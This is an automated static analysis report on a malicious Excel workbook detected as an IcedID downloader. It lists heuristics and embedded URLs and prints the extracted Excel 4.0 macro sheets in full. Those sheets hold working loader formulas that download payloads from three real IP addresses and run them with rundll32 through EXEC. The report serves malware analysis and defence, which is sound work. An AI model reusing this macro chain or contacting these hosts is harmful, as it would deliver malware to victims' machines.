Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 b36a78716d336761…

MALICIOUS

Office (OOXML)

325.4 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-04-25
MD5: af827c3e06a9d1f9f206b90f49644b14 SHA-1: 946887ca4f22b2a6051208324460370748455aa4 SHA-256: b36a78716d33676108c59ab3ae316b85544079bce1b980d1fb57e7519169253f
270 Risk Score

Heuristics 7

  • ClamAV: Xls.Downloader.IcedID-9f1f1d193a2a2a2b-9951463-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.IcedID-9f1f1d193a2a2a2b-9951463-0
  • Excel 4.0 macro sheet (4 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: FORMULA, REGISTER, GOTO, EXEC, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 4 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://45.67.230.109/ Referenced by macro
    • http://185.212.129.178/Referenced by macro
    • http://45.90.59.72/Referenced by macro
    • http://45.67.230.109/44300,5396033565.datReferenced by macro
    • http://185.212.129.178/44300,5396033565.datReferenced by macro
    • http://45.90.59.72/44300,5396033565.datReferenced by macro
    • http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 4091 bytes
SHA-256: ab7594a09a662f39c57268a5b7bf670113a98d618fbc91886d3f889e06e535bd
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{E1B86005-8E95-4901-BF52-C9DEE2608AB8}"><dimension ref="CA263:CG283"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="78" width="9.140625" style="1"/><col min="79" max="79" width="9.140625" style="1" hidden="1" customWidth="1"/><col min="80" max="80" width="8.85546875" style="1" hidden="1" customWidth="1"/><col min="81" max="81" width="11" style="1" hidden="1" customWidth="1"/><col min="82" max="82" width="11.7109375" style="1" hidden="1" customWidth="1"/><col min="83" max="85" width="9.140625" style="1" hidden="1" customWidth="1"/><col min="86" max="16384" width="9.140625" style="1"/></cols><sheetData><row r="263" spans="81:83" x14ac:dyDescent="0.25"><c r="CE263" s="1"><v>1</v></c></row><row r="264" spans="81:83" x14ac:dyDescent="0.25"><c r="CE264" s="1"><v>9</v></c></row><row r="266" spans="81:83" x14ac:dyDescent="0.25"><c r="CD266" s="1"><f>NOW()</f><v>44300.539603356483</v></c></row><row r="267" spans="81:83" x14ac:dyDescent="0.25"><c r="CD267" s="1" t="b"><f>FORMULA(CC279&amp;CC280&amp;CC281,CE271)</f><v>0</v></c></row><row r="268" spans="81:83" x14ac:dyDescent="0.25"><c r="CC268" s="1" t="str"><f>CONCATENATE(CC274,CD266,CC273)</f><v>http://45.67.230.109/44300,5396033565.dat</v></c></row><row r="269" spans="81:83" x14ac:dyDescent="0.25"><c r="CC269" s="1" t="str"><f>CONCATENATE(CC275,CD266,CC273)</f><v>http://185.212.129.178/44300,5396033565.dat</v></c><c r="CD269" s="1" t="b"><f>REGISTER(CE270,CE271,CE269,CE273,,CE263,CE264)</f><v>0</v></c><c r="CE269" s="1" t="s"><v>0</v></c></row><row r="270" spans="81:83" x14ac:dyDescent="0.25"><c r="CC270" s="1" t="str"><f>CONCATENATE(CC276,CD266,CC273)</f><v>http://45.90.59.72/44300,5396033565.dat</v></c><c r="CD270" s="1" t="b"><f>REGISTER(CE270,CE271,CE272,CE273,,CE263,9)</f><v>0</v></c><c r="CE270" s="1" t="s"><v>1</v></c></row><row r="271" spans="81:83" x14ac:dyDescent="0.25"><c r="CD271" s="1" t="e"><f>Belandes(0,CC268,"..\Jiop.hrosck",0,0)</f><v>#NAME?</v></c></row><row r="272" spans="81:83" x14ac:dyDescent="0.25"><c r="CD272" s="1" t="e"><f>Belandes(0,CC269,"..\Jiop.hrosck1",0,0)</f><v>#NAME?</v></c><c r="CE272" s="1" t="s"><v>2</v></c></row><row r="273" spans="81:83" x14ac:dyDescent="0.25"><c r="CC273" s="1" t="str"><f>".dat"</f><v>.dat</v></c><c r="CD273" s="1" t="e"><f>Belandes(0,CC270,"..\Jiop.hrosck2",0,0)</f><v>#NAME?</v></c><c r="CE273" s="1" t="s"><v>3</v></c></row><row r="274" spans="81:83" x14ac:dyDescent="0.25"><c r="CC274" s="1" t="s"><v>7</v></c></row><row r="275" spans="81:83" x14ac:dyDescent="0.25"><c r="CC275" s="1" t="s"><v>8</v></c></row><row r="276" spans="81:83" x14ac:dyDescent="0.25"><c r="CC276" s="1" t="s"><v>9</v></c></row><row r="279" spans="81:83" x14ac:dyDescent="0.25"><c r="CC279" s="1" t="s"><v>6</v></c></row><row r="280" spans="81:83" x14ac:dyDescent="0.25"><c r="CC280" s="1" t="s"><v>5</v></c></row><row r="281" spans="81:83" x14ac:dyDescent="0.25"><c r="CC281" s="1" t="s"><v>4</v></c></row><row r="283" spans="81:83" x14ac:dyDescent="0.25"><c r="CD283" s="1" t="e"><f>GOTO(TEThjt!G10)</f><v>#N/A</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup orientation="portrait" r:id="rId1"/></xm:macrosheet>
xlm_sheet_01.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet2.xml 1898 bytes
SHA-256: 39798259f03cd9672f45bba1a0c51b94f7031e1df15836708059f64e9c8de85c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 shell/COM execution token(s).
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{538E797A-65DC-4F27-B337-213546DC3AE0}"><dimension ref="G12:G15"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="6.42578125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="3" width="6.42578125" style="1"/><col min="4" max="4" width="7.85546875" style="1" customWidth="1"/><col min="5" max="5" width="6.42578125" style="1"/><col min="6" max="6" width="5.7109375" style="1" customWidth="1"/><col min="7" max="7" width="7.7109375" style="1" customWidth="1"/><col min="8" max="9" width="6.42578125" style="1"/><col min="10" max="10" width="5.42578125" style="1" customWidth="1"/><col min="11" max="16384" width="6.42578125" style="1"/></cols><sheetData><row r="12" spans="7:7" x14ac:dyDescent="0.25"><c r="G12" s="1" t="b"><f>RADIANS(5)=EXEC("rundll32 "&amp;"..\Jiop.hrosck,DllRegisterServer")</f><v>0</v></c></row><row r="15" spans="7:7" x14ac:dyDescent="0.25"><c r="G15" s="1" t="e"><f>GOTO(VDSGHfdh!E3)</f><v>#N/A</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_02.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet3.xml 1880 bytes
SHA-256: e9ede02a3b195b353ba578d091c9e9fdf44e02d22a62334c471770c4e6d3eebe
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 shell/COM execution token(s).
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{12A8FE84-9D9D-4657-919C-E02A1C351D18}"><dimension ref="E6:E8"/><sheetViews><sheetView showFormulas="1" zoomScaleNormal="100" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="5.42578125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="1" width="6" style="1" customWidth="1"/><col min="2" max="2" width="5.85546875" style="1" customWidth="1"/><col min="3" max="4" width="5.7109375" style="1" customWidth="1"/><col min="5" max="5" width="6.140625" style="1" customWidth="1"/><col min="6" max="6" width="6.28515625" style="1" customWidth="1"/><col min="7" max="16384" width="5.42578125" style="1"/></cols><sheetData><row r="6" spans="5:5" x14ac:dyDescent="0.25"><c r="E6" s="1" t="b"><f>RADIANS(5)=EXEC("rundll32 "&amp;"..\Jiop.hrosck1"&amp;",DllRegisterServer")</f><v>0</v></c></row><row r="8" spans="5:5" x14ac:dyDescent="0.25"><c r="E8" s="1" t="b"><f>GOTO(FSDnhdf!D1)</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>
xlm_sheet_03.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet4.xml 1916 bytes
SHA-256: 145b3c5862c9bdc90f5655a09e2ac31ff5670b02c5e78c573e1be59397d1de5d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 shell/COM execution token(s).
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{49A29756-93F7-4CCC-8FCA-7889A87B8E73}"><dimension ref="D6:D11"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="6.7109375" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="1" width="6.85546875" style="1" customWidth="1"/><col min="2" max="2" width="7.7109375" style="1" customWidth="1"/><col min="3" max="3" width="7" style="1" customWidth="1"/><col min="4" max="4" width="7.28515625" style="1" customWidth="1"/><col min="5" max="5" width="8.28515625" style="1" customWidth="1"/><col min="6" max="6" width="7.140625" style="1" customWidth="1"/><col min="7" max="16384" width="6.7109375" style="1"/></cols><sheetData><row r="6" spans="4:4" x14ac:dyDescent="0.25"><c r="D6" s="1" t="b"><f>RADIANS(5)=EXEC("rundll32 "&amp;"..\Jiop.hrosck2"&amp;",DllRegisterServer")</f><v>0</v></c></row><row r="11" spans="4:4" x14ac:dyDescent="0.25"><c r="D11" s="1" t="b"><f>HALT()</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>